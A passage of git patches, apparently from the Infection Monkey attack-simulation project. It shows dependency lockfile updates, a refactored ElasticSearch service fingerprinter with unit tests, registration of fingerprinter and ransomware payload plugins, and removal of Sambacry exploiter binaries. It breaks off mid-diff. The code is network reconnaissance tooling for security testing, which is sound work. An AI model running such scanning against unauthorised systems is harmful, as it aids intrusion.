"sha256:780b48456a0f0ba4d390e8b5f7c661fdd218934388cde1a974010a965e200e12", - "sha256:788aef3549f1924d5c38263104dae7395bf020a42776d5ec5ea2b0d3d85d6646", - "sha256:7ee1227cf08b6716c85504aebc49ac827eb88fcc6e51564f010f11a406c0a667", - "sha256:7f301b11b9d214f83ddaf689181051e7f48905568b0c7017c04c06dfd065e244", - "sha256:83ee89483672b11f8952b158640d0c0ff02dc43d9cb1b70c1564b49abe92ce29", - "sha256:85bfa6a5413be0ee6c5c4a663668a2cad2cbecdee367630d097d7823041bdeec", - "sha256:9345b6f7ee578bad8e475129ed40123d265464c4cfead6c261fd60fc9de00bcf", - "sha256:93a5051fcf5fad72de73b96f07d30bc29665697fb8ecdfbc474f3452c78adcf4", - "sha256:962b9a917dd7ceacbe5cd424556914cb0d636001e393b43dc886ba31d2a1e449", - "sha256:98ba568e8ae26beb726aeea2273053c717641933836568c2a0278a84987b2a1a", - "sha256:a3feefd5e95871872673b08636f96b61ebef62971eab044f5124fb4dea39919d", - "sha256:b43c2b8a330a490daaef5a47ab114935002b13b3f9dc5da56d5322ff218eeadb", - "sha256:b483c9d00a565633c87abd0aaf27eb5016de23fed952e054ecc19ce32f6a9e7e", - "sha256:ba05430e819e58544e840a68b03b28b6d328aff2e41579037e8bab7653b37d83", - "sha256:ca5f18a75e1256ce07494e245cdb146f5a9267d3c702ebf9b65c7f8bd843431e", - "sha256:d5ca078bb666c4a9d1287a379fe617a6dccd18c3e8a7e6c7e1eb8974330c626a", - "sha256:da1a90c1ddb7531b1d5ff1e171b4ee61f6345119be7351104b67ff413843fe94", - "sha256:dba70f30fd81f8ce6d32ddeef37d91c8948e5d5a4c63242d16a2b2df8143aafc", - "sha256:dd33eb9bdcfbabab3459c9ee651d94c842bc8a05fabc95edf4ee0c15a072495e", - "sha256:e0538c43565ee6e703d3a7c3bdfe4037a5209250e8502c98f20fea6f5fdf2965", - "sha256:e1f54b9b4b6c53369f40028d2dd07a8c374583417ee6ec0ea304e710a20f80a0", - "sha256:e32d2a2b02ccbef10145df9135751abea1f9f076e67a4e261b05f24b94219e36", - "sha256:e71255ba42567d34a13c03968736c5d39bb4a97ce98188fafb27ce981115beec", - "sha256:ed2e07c6a26ed4bea91b897ee2b0835c21716d9a469a96c3e878dc5f8c55bb23", - "sha256:eef2afb0fd1747f33f1ee3e209bce1ed582d1896b240ccc5e2697e3275f037c7", - "sha256:f23222527b307970e383433daec128d769ff778d9b29343fb3496472dc20dabe", - "sha256:f341ee2df0999bfdf7a95e448075effe0db212a59387de1a70690e4acb03d4c6", - "sha256:f7f325be2804246a75a4f45c72d4ce80d2443ab815063cdf70ee8fb2ca59ee1b", - "sha256:f8af619e3be812a2059b212064ea7a640aff0568d972cd1b9e920837469eb3cb", - "sha256:fa8c626d6441e2d04b6ee703ef2d1e17608ad44c7cb75258c09dd42bacdfc64b", - "sha256:fbb9dc00e39f3e6c0ef48edee202f9520dafb233e8b51b06b8428cfcb92abd30", - "sha256:fff55f3ce50a3ff63ec8e2a8d3dd924f1941b250b0aac3d3d42b687eeff07a8e" + "sha256:04611cc0f627fc4a50bc4a9a2e6178a974c6a6a4aa9c1cca921635d2c47b9c87", + "sha256:0b5d6f9aed3153487252d00a18e53f19b7f52a1651bc1d0c4b5844bc286dfa52", + "sha256:0d2f5c3f7057530afd7b739ed42eb04f1011203bc5e4663e1e1d01bb50f813e3", + "sha256:11772be1eb1748e0e197a40ffb82fb8fd0d6914cd147d841d9703e2bef24d288", + "sha256:1333b3ce73269f986b1fa4d5d395643810074dc2de5b9d262eb258daf37dc98f", + "sha256:16f81025bb3556eccb0681d7946e2b35ff254f9f888cff7d2120e8826330315c", + "sha256:1a171eaac36a08964d023eeff740b18a415f79aeb212169080c170ec42dd5184", + "sha256:1d6301f5288e9bdca65fab3de6b7de17362c5016d6bf8ee4ba4cbe833b2eda0f", + "sha256:1e031899cb2bc92c0cf4d45389eff5b078d1936860a1be3aa8c94fa25fb46ed8", + "sha256:1f8c0ae0a0de4e19fddaaff036f508db175f6f03db318c80bbc239a1def62d02", + "sha256:2245441445099411b528379dee83e56eadf449db924648e5feb9b747473f42e3", + "sha256:22709d701e7037e64dae2a04855021b62efd64a66c3ceed99dfd684bfef09e38", + "sha256:24c89346734a4e4d60ecf9b27cac4c1fee3431a413f7aa00be7c4d7bbacc2c4d", + "sha256:25716aa70a0d153cd844fe861d4f3315a6ccafce22b39d8aadbf7fcadff2b633", + "sha256:2dacb3dae6b8cc579637a7b72f008bff50a94cde5e36e432352f4ca57b9e54c4", + "sha256:34316bf693b1d2d29c087ee7e4bb10cdfa39da5f9c50fa15b07489b4ab93a1b5", + "sha256:36b2d700a27e168fa96272b42d28c7ac3ff72030c67b32f37c05616ebd22a202", + "sha256:37978254d9d00cda01acc1997513f786b6b971e57b778fbe7c20e30ae81a97f3", + "sha256:38289f1690a7e27aacd049e420769b996826f3728756859420eeee21cc857118", + "sha256:385ccf6d011b97768a640e9d4de25412204fbe8d6b9ae39ff115d4ff03f6fe5d", + "sha256:3c7ea86b9ca83e30fa4d4cd0eaf01db3ebcc7b2726a25990966627e39577d729", + "sha256:49810f907dfe6de8da5da7d2b238d343e6add62f01a15d03e2195afc180059ed", + "sha256:519c0b3a6fbb68afaa0febf0d28f6c4b0a1074aefc484802ecb9709faf181607", + "sha256:51f02ca184518702975b56affde6c573ebad4e411599005ce4468b1014b4786c", + "sha256:552a39987ac6655dad4bf6f17dd2b55c7b0c6e949d933b8846d2e312ee80005a", + "sha256:596f5ae2eeddb79b595583c2e0285312b2783b0ec759930c272dbf02f851ff75", + "sha256:6014038f52b4b2ac1fa41a58d439a8a00f015b5c0735a0cd4b09afe344c94899", + "sha256:61ebbcd208d78658b09e19c78920f1ad38936a0aa0f9c459c46c197d11c580a0", + "sha256:6213713ac743b190ecbf3f316d6e41d099e774812d470422b3a0f137ea635832", + "sha256:637e27ea1ebe4a561db75a880ac659ff439dec7f55588212e71700bb1ddd5af9", + "sha256:6aa427c55a0abec450bca10b64446331b5ca8f79b648531138f357569705bc4a", + "sha256:6ca45359d7a21644793de0e29de497ef7f1ae7268e346c4faf87b421fea364e6", + "sha256:6db1b52c6f2c04fafc8da17ea506608e6be7086715dab498570c3e55e4f8fbd1", + "sha256:752e7ddfb743344d447367baa85bccd3629c2c3940f70506eb5f01abce98ee68", + "sha256:760c54ad1b8a9b81951030a7e8e7c3ec0964c1cb9fee585a03ff53d9e531bb8e", + "sha256:768632fd8172ae03852e3245f11c8a425d95f65ff444ce46b3e673ae5b057b74", + "sha256:7a0b9f6a1a15d494b35f25ed07abda03209fa76c33564c09c9e81d34f4b919d7", + "sha256:7e070d3aef50ac3856f2ef5ec7214798453da878bb5e5a16c16a61edf1817cc3", + "sha256:7e12949e5071c20ec49ef00c75121ed2b076972132fc1913ddf5f76cae8d10b4", + "sha256:7e26eac9e52e8ce86f915fd33380f1b6896a2b51994e40bb094841e5003429b4", + "sha256:85ffd6b1cb0dfb037ede50ff3bef80d9bf7fa60515d192403af6745524524f3b", + "sha256:8618d9213a863c468a865e9d2ec50221015f7abf52221bc927152ef26c484b4c", + "sha256:8acef4d8a4353f6678fd1035422a937c2170de58a2b29f7da045d5249e934101", + "sha256:8d2f355a951f60f0843f2368b39970e4667517e54e86b1508e76f92b44811a8a", + "sha256:90b6840b6448203228a9d8464a7a0d99aa8fa9f027ef95fe230579abaf8a6ee1", + "sha256:9187500d83fd0cef4669385cbb0961e227a41c0c9bc39219044e35810793edf7", + "sha256:93c20777a72cae8620203ac11c4010365706062aa13aaedd1a21bb07adbb9d5d", + "sha256:93cce7d422a0093cfb3606beae38a8e47a25232eea0f292c878af580a9dc7605", + "sha256:94c623c331a48a5ccc7d25271399aff29729fa202c737ae3b4b28b89d2b0976d", + "sha256:97f32dc03a8054a4c4a5ab5d761ed4861e828b2c200febd4e46857069a483916", + "sha256:9a2bf98ac92f58777c0fafc772bf0493e67fcf677302e0c0a630ee517a43b949", + "sha256:a602bdc8607c99eb5b391592d58c92618dcd1537fdd87df1813f03fed49957a6", + "sha256:a9d24b03daf7415f78abc2d25a208f234e2c585e5e6f92f0204d2ab7b9ab48e3", + "sha256:abfcb0ef78df0ee9df4ea81f03beea41849340ce33a4c4bd4dbb99e23ec781b6", + "sha256:b013f759cd69cb0a62de954d6d2096d648bc210034b79b1881406b07ed0a83f9", + "sha256:b02e3e72665cd02afafb933453b0c9f6c59ff6e3708bd28d0d8580450e7e88af", + "sha256:b52cc45e71657bc4743a5606d9023459de929b2a198d545868e11898ba1c3f59", + "sha256:ba37f11e1d020969e8a779c06b4af866ffb6b854d7229db63c5fdddfceaa917f", + "sha256:bb804c7d0bfbd7e3f33924ff49757de9106c44e27979e2492819c16972ec0da2", + "sha256:bf594cc7cc9d528338d66674c10a5b25e3cde7dd75c3e96784df8f371d77a298", + "sha256:c38baee6bdb7fe1b110b6b3aaa555e6e872d322206b7245aa39572d3fc991ee4", + "sha256:c73d2166e4b210b73d1429c4f1ca97cea9cc090e5302df2a7a0a96ce55373f1c", + "sha256:c9099bf89078675c372339011ccfc9ec310310bf6c292b413c013eb90ffdcafc", + "sha256:cf0db26a1f76aa6b3aa314a74b8facd586b7a5457d05b64f8082a62c9c49582a", + "sha256:d19a34f8a3429bd536996ad53597b805c10352a8561d8382e05830df389d2b43", + "sha256:da80047524eac2acf7c04c18ac7a7da05a9136241f642dd2ed94269ef0d0a45a", + "sha256:de2923886b5d3214be951bc2ce3f6b8ac0d6dfd4a0d0e2a4d2e5523d8046fdfb", + "sha256:defa0652696ff0ba48c8aff5a1fac1eef1ca6ac9c660b047fc8e7623c4eb5093", + "sha256:e54a1eb9fd38f2779e973d2f8958fd575b532fe26013405d1afb9ee2374e7ab8", + "sha256:e5c31d70a478b0ca22a9d2d76d520ae996214019d39ed7dd93af872c7f301e52", + "sha256:ebaeb93f90c0903233b11ce913a7cb8f6ee069158406e056f884854c737d2442", + "sha256:ecfe51abf7f045e0b9cdde71ca9e153d11238679ef7b5da6c82093874adf3338", + "sha256:f99112aed4fb7cee00c7f77e8b964a9b10f69488cdff626ffd797d02e2e4484f", + "sha256:fd914db437ec25bfa410f8aa0aa2f3ba87cdfc04d9919d608d02330947afaeab" ], - "version": "==2021.11.10" + "version": "==2022.1.18" }, "requests": { "hashes": [ - "sha256:6c1246513ecd5ecd4528a0906f910e8f0f9c6b8ec72030dc9fd154dc1a6efd24", - "sha256:b8aa58f8cf793ffd8782d3d8cb19e66ef36f7aba4353eec859e74678b01b07a7" + "sha256:68d7c56fd5a8999887728ef304a6d12edc7be74f1cfa47714fc8b414525c9a61", + "sha256:f22fa1e554c9ddfd16e6e41ac79759e17be9e492b3587efa038054674760e72d" ], "index": "pypi", - "version": "==2.26.0" + "version": "==2.27.1" }, "requests-mock": { "hashes": [ @@ -1418,59 +1277,65 @@ }, "tomli": { "hashes": [ - "sha256:c6ce0015eb38820eaf32b5db832dbc26deb3dd427bd5f6556cf0acac2c214fee", - "sha256:f04066f68f5554911363063a30b108d2b5a5b1a010aa8b6132af78489fe3aade" + "sha256:939de3e7a6161af0c887ef91b7d41a53e7c5a1ca976325f429cb46ea9bc30ecc", + "sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f" ], - "version": "==1.2.2" + "markers": "python_version >= '3.7'", + "version": "==2.0.1" }, "typed-ast": { "hashes": [ - "sha256:14fed8820114a389a2b7e91624db5f85f3f6682fda09fe0268a59aabd28fe5f5", - "sha256:155b74b078be842d2eb630dd30a280025eca0a5383c7d45853c27afee65f278f", - "sha256:224afecb8b39739f5c9562794a7c98325cb9d972712e1a98b6989a4720219541", - "sha256:361b9e5d27bd8e3ccb6ea6ad6c4f3c0be322a1a0f8177db6d56264fa0ae40410", - "sha256:37ba2ab65a0028b1a4f2b61a8fe77f12d242731977d274a03d68ebb751271508", - "sha256:49af5b8f6f03ed1eb89ee06c1d7c2e7c8e743d720c3746a5857609a1abc94c94", - "sha256:51040bf45aacefa44fa67fb9ebcd1f2bec73182b99a532c2394eea7dabd18e24", - "sha256:52ca2b2b524d770bed7a393371a38e91943f9160a190141e0df911586066ecda", - "sha256:618912cbc7e17b4aeba86ffe071698c6e2d292acbd6d1d5ec1ee724b8c4ae450", - "sha256:65c81abbabda7d760df7304d843cc9dbe7ef5d485504ca59a46ae2d1731d2428", - "sha256:7b310a207ee9fde3f46ba327989e6cba4195bc0c8c70a158456e7b10233e6bed", - "sha256:7e6731044f748340ef68dcadb5172a4b1f40847a2983fe3983b2a66445fbc8e6", - "sha256:806e0c7346b9b4af8c62d9a29053f484599921a4448c37fbbcbbf15c25138570", - "sha256:a67fd5914603e2165e075f1b12f5a8356bfb9557e8bfb74511108cfbab0f51ed", - "sha256:e4374a76e61399a173137e7984a1d7e356038cf844f24fd8aea46c8029a2f712", - "sha256:e8a9b9c87801cecaad3b4c2b8876387115d1a14caa602c1618cedbb0cb2a14e6", - "sha256:ea517c2bb11c5e4ba7a83a91482a2837041181d57d3ed0749a6c382a2b6b7086", - "sha256:ec184dfb5d3d11e82841dbb973e7092b75f306b625fad7b2e665b64c5d60ab3f", - "sha256:ff4ad88271aa7a55f19b6a161ed44e088c393846d954729549e3cde8257747bb" + "sha256:0eb77764ea470f14fcbb89d51bc6bbf5e7623446ac4ed06cbd9ca9495b62e36e", + "sha256:1098df9a0592dd4c8c0ccfc2e98931278a6c6c53cb3a3e2cf7e9ee3b06153344", + "sha256:183b183b7771a508395d2cbffd6db67d6ad52958a5fdc99f450d954003900266", + "sha256:18fe320f354d6f9ad3147859b6e16649a0781425268c4dde596093177660e71a", + "sha256:26a432dc219c6b6f38be20a958cbe1abffcc5492821d7e27f08606ef99e0dffd", + "sha256:294a6903a4d087db805a7656989f613371915fc45c8cc0ddc5c5a0a8ad9bea4d", + "sha256:31d8c6b2df19a777bc8826770b872a45a1f30cfefcfd729491baa5237faae837", + "sha256:33b4a19ddc9fc551ebabca9765d54d04600c4a50eda13893dadf67ed81d9a098", + "sha256:42c47c3b43fe3a39ddf8de1d40dbbfca60ac8530a36c9b198ea5b9efac75c09e", + "sha256:525a2d4088e70a9f75b08b3f87a51acc9cde640e19cc523c7e41aa355564ae27", + "sha256:58ae097a325e9bb7a684572d20eb3e1809802c5c9ec7108e85da1eb6c1a3331b", + "sha256:676d051b1da67a852c0447621fdd11c4e104827417bf216092ec3e286f7da596", + "sha256:74cac86cc586db8dfda0ce65d8bcd2bf17b58668dfcc3652762f3ef0e6677e76", + "sha256:8c08d6625bb258179b6e512f55ad20f9dfef019bbfbe3095247401e053a3ea30", + "sha256:90904d889ab8e81a956f2c0935a523cc4e077c7847a836abee832f868d5c26a4", + "sha256:963a0ccc9a4188524e6e6d39b12c9ca24cc2d45a71cfdd04a26d883c922b4b78", + "sha256:bbebc31bf11762b63bf61aaae232becb41c5bf6b3461b80a4df7e791fabb3aca", + "sha256:bc2542e83ac8399752bc16e0b35e038bdb659ba237f4222616b4e83fb9654985", + "sha256:c29dd9a3a9d259c9fa19d19738d021632d673f6ed9b35a739f48e5f807f264fb", + "sha256:c7407cfcad702f0b6c0e0f3e7ab876cd1d2c13b14ce770e412c0c4b9728a0f88", + "sha256:da0a98d458010bf4fe535f2d1e367a2e2060e105978873c04c04212fb20543f7", + "sha256:df05aa5b241e2e8045f5f4367a9f6187b09c4cdf8578bb219861c4e27c443db5", + "sha256:f290617f74a610849bd8f5514e34ae3d09eafd521dceaa6cf68b3f4414266d4e", + "sha256:f30ddd110634c2d7534b2d4e0e22967e88366b0d356b24de87419cc4410c41b7" ], "markers": "python_version >= '3.6'", - "version": "==1.5.0" + "version": "==1.5.2" }, "typing-extensions": { "hashes": [ - "sha256:2cdf80e4e04866a9b3689a51869016d36db0814d84b8d8a568d22781d45d27ed", - "sha256:829704698b22e13ec9eaf959122315eabb370b0884400e9818334d8b677023d9" + "sha256:4ca091dea149f945ec56afb48dae714f21e8692ef22a395223bcd328961b6a0e", + "sha256:7f001e5ac290a0c0401508864c7ec868be4e701886d5b573a9528ed3973d9d3b" ], "markers": "python_version < '3.8'", - "version": "==4.0.0" + "version": "==4.0.1" }, "urllib3": { "hashes": [ - "sha256:4987c65554f7a2dbf30c18fd48778ef124af6fab771a377103da0585e2336ece", - "sha256:c4fdf4019605b6e5423637e01bc9fe4daef873709a7973e195ceba0a62bbc844" + "sha256:000ca7f471a233c2251c6c7023ee85305721bfdf18621ebff4fd17a8653427ed", + "sha256:0e7c33d9a63e7ddfcb86780aac87befc2fbddf46c58dbb487e0855f7ceec283c" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' and python_version < '4'", - "version": "==1.26.7" + "version": "==1.26.8" }, "virtualenv": { "hashes": [ - "sha256:4b02e52a624336eece99c96e3ab7111f469c24ba226a53ec474e8e787b365814", - "sha256:576d05b46eace16a9c348085f7d0dc8ef28713a2cabaa1cf0aea41e8f12c9218" + "sha256:45e1d053cad4cd453181ae877c4ffc053546ae99e7dd049b9ff1d9be7491abf7", + "sha256:e0621bcbf4160e4e1030f05065c8834b4e93f4fcc223255db2a823440aca9c14" ], "index": "pypi", - "version": "==20.10.0" + "version": "==20.13.1" }, "vulture": { "hashes": [ @@ -1482,11 +1347,11 @@ }, "zipp": { "hashes": [ - "sha256:71c644c5369f4a6e07636f0aa966270449561fcea2e3d6747b8d23efaa9d7832", - "sha256:9fe5ea21568a0a70e50f273397638d39b03353731e6cbbb3fd8502a33fec40bc" + "sha256:9f50f446828eb9d45b267433fd3e9da8d801f614129124863f9c51ebceafb87d", + "sha256:b47250dd24f92b7dd6a0a8fc5244da14608f3ca90a5efcd37a3b1642fac9a375" ], - "markers": "python_version < '3.10'", - "version": "==3.6.0" + "markers": "python_version >= '3.7'", + "version": "==3.7.0" } } } From 30bbfec182e73b722fe5d9f20e754288fb0ef422 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 9 Feb 2022 14:35:13 +0530 Subject: [PATCH 0344/1110] Docs: Remove trailing whitespace in operating systems support page --- docs/content/reference/operating_systems_support.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/reference/operating_systems_support.md b/docs/content/reference/operating_systems_support.md index d945f2be3..a2b918b63 100644 --- a/docs/content/reference/operating_systems_support.md +++ b/docs/content/reference/operating_systems_support.md @@ -4,7 +4,7 @@ date: 2020-07-14T08:09:53+03:00 draft: false pre: ' ' weight: 10 -tags: ["setup", "reference", "windows", "linux"] +tags: ["setup", "reference", "windows", "linux"] --- The Infection Monkey project supports many popular OSes (but we are always interested in supporting more). From cc3be599d7bccba7f5e93fc769835af27e7d8015 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 8 Feb 2022 12:43:10 -0500 Subject: [PATCH 0345/1110] Agent: Refactor ElasticSearchFingerprinter * Rename ElasticFinger -> ElasticSearchFingerprinter * Don't scan port if port is closed or not configured * Refactor code to conform to the IFingerprinter interface * Add unit tests --- .../network/elasticsearch_fingerprinter.py | 74 ++++++++++------- .../test_elasticsearch_fingerprinter.py | 83 +++++++++++++++++++ 2 files changed, 128 insertions(+), 29 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/network/test_elasticsearch_fingerprinter.py diff --git a/monkey/infection_monkey/network/elasticsearch_fingerprinter.py b/monkey/infection_monkey/network/elasticsearch_fingerprinter.py index 8ec2e3890..6670c3621 100644 --- a/monkey/infection_monkey/network/elasticsearch_fingerprinter.py +++ b/monkey/infection_monkey/network/elasticsearch_fingerprinter.py @@ -1,48 +1,64 @@ -import json import logging from contextlib import closing +from typing import Any, Dict import requests -from requests.exceptions import ConnectionError, Timeout -import infection_monkey.config from common.common_consts.network_consts import ES_SERVICE -from infection_monkey.network.HostFinger import HostFinger +from infection_monkey.i_puppet import ( + FingerprintData, + IFingerprinter, + PingScanData, + PortScanData, + PortStatus, +) ES_PORT = 9200 ES_HTTP_TIMEOUT = 5 logger = logging.getLogger(__name__) -class ElasticFinger(HostFinger): +class ElasticSearchFingerprinter(IFingerprinter): """ Fingerprints elastic search clusters, only on port 9200 """ - _SCANNED_SERVICE = "Elastic search" + def get_host_fingerprint( + self, + host: str, + _ping_scan_data: PingScanData, + port_scan_data: Dict[int, PortScanData], + _options: Dict, + ) -> FingerprintData: + services = {} - def __init__(self): - self._config = infection_monkey.config.WormConfiguration + if (ES_PORT not in port_scan_data) or (port_scan_data[ES_PORT].status != PortStatus.OPEN): + return FingerprintData(None, None, services) - def get_host_fingerprint(self, host): - """ - Returns elasticsearch metadata - :param host: - :return: Success/failure, data is saved in the host struct - """ try: - url = "http://%s:%s/" % (host.ip_addr, ES_PORT) - with closing(requests.get(url, timeout=ES_HTTP_TIMEOUT)) as req: - data = json.loads(req.text) - self.init_service(host.services, ES_SERVICE, ES_PORT) - host.services[ES_SERVICE]["cluster_name"] = data["cluster_name"] - host.services[ES_SERVICE]["name"] = data["name"] - host.services[ES_SERVICE]["version"] = data["version"]["number"] - return True - except Timeout: - logger.debug("Got timeout while trying to read header information") - except ConnectionError: # Someone doesn't like us - logger.debug("Unknown connection error") - except KeyError: - logger.debug("Failed parsing the ElasticSearch JSOn response") - return False + elasticsearch_info = _query_elasticsearch(host) + services[ES_SERVICE] = _get_service_from_query_info(elasticsearch_info) + except Exception as ex: + logger.debug(f"Did not detect an ElasticSearch cluster: {ex}") + + return FingerprintData(None, None, services) + + +def _query_elasticsearch(host: str) -> Dict[str, Any]: + url = "http://%s:%s/" % (host, ES_PORT) + logger.debug(f"Sending request to {url}") + with closing(requests.get(url, timeout=ES_HTTP_TIMEOUT)) as response: + return response.json() + + +def _get_service_from_query_info(elasticsearch_info: Dict[str, Any]) -> Dict[str, Any]: + try: + return { + "display_name": "ElasticSearch", + "port": ES_PORT, + "cluster_name": elasticsearch_info["cluster_name"], + "name": elasticsearch_info["name"], + "version": elasticsearch_info["version"]["number"], + } + except KeyError as ke: + raise Exception(f"Unable to find the key {ke} in the server's response") from ke diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_elasticsearch_fingerprinter.py b/monkey/tests/unit_tests/infection_monkey/network/test_elasticsearch_fingerprinter.py new file mode 100644 index 000000000..f15afa60e --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/network/test_elasticsearch_fingerprinter.py @@ -0,0 +1,83 @@ +from unittest.mock import MagicMock + +import pytest + +from common.common_consts.network_consts import ES_SERVICE +from infection_monkey.i_puppet import PortScanData, PortStatus +from infection_monkey.network.elasticsearch_fingerprinter import ES_PORT, ElasticSearchFingerprinter + +PORT_SCAN_DATA_OPEN = {ES_PORT: PortScanData(ES_PORT, PortStatus.OPEN, "", f"tcp-{ES_PORT}")} +PORT_SCAN_DATA_CLOSED = {ES_PORT: PortScanData(ES_PORT, PortStatus.CLOSED, "", f"tcp-{ES_PORT}")} +PORT_SCAN_DATA_MISSING = { + 80: PortScanData(80, PortStatus.OPEN, "", "tcp-80"), + 8080: PortScanData(8080, PortStatus.OPEN, "", "tcp-8080"), +} + + +@pytest.fixture +def fingerprinter(): + return ElasticSearchFingerprinter() + + +def test_successful(monkeypatch, fingerprinter): + successful_server_response = { + "cluster_name": "test cluster", + "name": "test name", + "version": {"number": "1.0.0"}, + } + monkeypatch.setattr( + "infection_monkey.network.elasticsearch_fingerprinter._query_elasticsearch", + lambda _: successful_server_response, + ) + + fingerprint_data = fingerprinter.get_host_fingerprint( + "127.0.0.1", None, PORT_SCAN_DATA_OPEN, {} + ) + + assert fingerprint_data.os_type is None + assert fingerprint_data.os_version is None + assert len(fingerprint_data.services.keys()) == 1 + + es_service = fingerprint_data.services[ES_SERVICE] + + assert es_service["cluster_name"] == successful_server_response["cluster_name"] + assert es_service["version"] == successful_server_response["version"]["number"] + assert es_service["name"] == successful_server_response["name"] + + +@pytest.mark.parametrize("port_scan_data", [PORT_SCAN_DATA_CLOSED, PORT_SCAN_DATA_MISSING]) +def test_fingerprinting_skipped_if_port_closed(monkeypatch, fingerprinter, port_scan_data): + mock_query_elasticsearch = MagicMock() + monkeypatch.setattr( + "infection_monkey.network.elasticsearch_fingerprinter._query_elasticsearch", + mock_query_elasticsearch, + ) + + fingerprint_data = fingerprinter.get_host_fingerprint("127.0.0.1", None, port_scan_data, {}) + + assert not mock_query_elasticsearch.called + assert fingerprint_data.os_type is None + assert fingerprint_data.os_version is None + assert len(fingerprint_data.services.keys()) == 0 + + +@pytest.mark.parametrize( + "mock_query_function", + [ + MagicMock(side_effect=Exception("test exception")), + MagicMock(return_value={"unexpected_key": "unexpected_value"}), + ], +) +def test_no_response_from_server(monkeypatch, fingerprinter, mock_query_function): + monkeypatch.setattr( + "infection_monkey.network.elasticsearch_fingerprinter._query_elasticsearch", + mock_query_function, + ) + + fingerprint_data = fingerprinter.get_host_fingerprint( + "127.0.0.1", None, PORT_SCAN_DATA_OPEN, {} + ) + + assert fingerprint_data.os_type is None + assert fingerprint_data.os_version is None + assert len(fingerprint_data.services.keys()) == 0 From 6de05df66596bed76d235c204be0e06c5cf5cc99 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 8 Feb 2022 13:10:02 -0500 Subject: [PATCH 0346/1110] Agent: Load ElasticSearchFingerprinter into the Puppet --- monkey/infection_monkey/monkey.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 5d029428a..339c9031c 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -17,6 +17,7 @@ from infection_monkey.master import AutomatedMaster from infection_monkey.master.control_channel import ControlChannel from infection_monkey.model import DELAY_DELETE_CMD, VictimHostFactory from infection_monkey.network import NetworkInterface +from infection_monkey.network.elasticsearch_fingerprinter import ElasticSearchFingerprinter from infection_monkey.network.firewall import app as firewall from infection_monkey.network.http_fingerprinter import HTTPFingerprinter from infection_monkey.network.info import get_local_network_interfaces @@ -184,7 +185,10 @@ class InfectionMonkey: @staticmethod def _build_puppet() -> IPuppet: puppet = Puppet() + + puppet.load_plugin("elastic", ElasticSearchFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("http", HTTPFingerprinter(), PluginType.FINGERPRINTER) + puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) return puppet From fb8847b5c5bd970cffebfbc4406f7103527bc0fa Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 4 Feb 2022 14:06:48 +0100 Subject: [PATCH 0347/1110] Agent: Remove sambacry binaries from monkey spec PR #1698 --- CHANGELOG.md | 2 +- monkey/infection_monkey/monkey.spec | 9 --------- 2 files changed, 1 insertion(+), 10 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3b637b3dd..b51cc9321 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -21,7 +21,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). ### Removed - VSFTPD exploiter. #1533 - Manual agent run command for CMD. #1570 -- Sambacry exploiter. #1567 +- Sambacry exploiter. #1567, #1693 - "Kill file" option in the config. #1536 - Netstat collector, because network connection information wasn't used anywhere. #1535 - Checkbox to disable/enable sending log to server. #1537 diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index 2d767c8c2..dc9a90868 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -22,7 +22,6 @@ def main(): cipher=block_cipher ) - a.binaries += get_binaries() a.datas = process_datas(a.datas) pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) @@ -63,10 +62,6 @@ def process_datas(orig_datas): return datas -def get_binaries(): - return get_sc_binaries() - - def get_hidden_imports(): imports = ['_cffi_backend', '_mssql'] if is_windows(): @@ -75,10 +70,6 @@ def get_hidden_imports(): return imports -def get_sc_binaries(): - return [(x, get_bin_file_path(x), 'BINARY') for x in ['sc_monkey_runner32.so', 'sc_monkey_runner64.so']] - - def get_monkey_filename(): name = 'monkey-' if is_windows(): From e6f5b6113ff7d48b4a0fb3120b41746614b927eb Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 9 Feb 2022 12:27:00 +0100 Subject: [PATCH 0348/1110] Agent: Refactor MSSQL fingerprinter * Refactor code to conform to the IFingerprinter interface * Non-structured server response will return empty Fingerprint data * Rename mssql_fingerprint to mssql_fingerprinter * Unit tests --- monkey/infection_monkey/monkey.py | 1 - .../network/mssql_fingerprint.py | 91 ---------------- .../network/mssql_fingerprinter.py | 102 ++++++++++++++++++ .../network/test_mssql_fingerprinter.py | 102 ++++++++++++++++++ 4 files changed, 204 insertions(+), 92 deletions(-) delete mode 100644 monkey/infection_monkey/network/mssql_fingerprint.py create mode 100644 monkey/infection_monkey/network/mssql_fingerprinter.py create mode 100644 monkey/tests/unit_tests/infection_monkey/network/test_mssql_fingerprinter.py diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 339c9031c..3e7bd3089 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -185,7 +185,6 @@ class InfectionMonkey: @staticmethod def _build_puppet() -> IPuppet: puppet = Puppet() - puppet.load_plugin("elastic", ElasticSearchFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("http", HTTPFingerprinter(), PluginType.FINGERPRINTER) diff --git a/monkey/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py deleted file mode 100644 index 3c25af149..000000000 --- a/monkey/infection_monkey/network/mssql_fingerprint.py +++ /dev/null @@ -1,91 +0,0 @@ -import errno -import logging -import socket - -import infection_monkey.config -from infection_monkey.network.HostFinger import HostFinger - -logger = logging.getLogger(__name__) - - 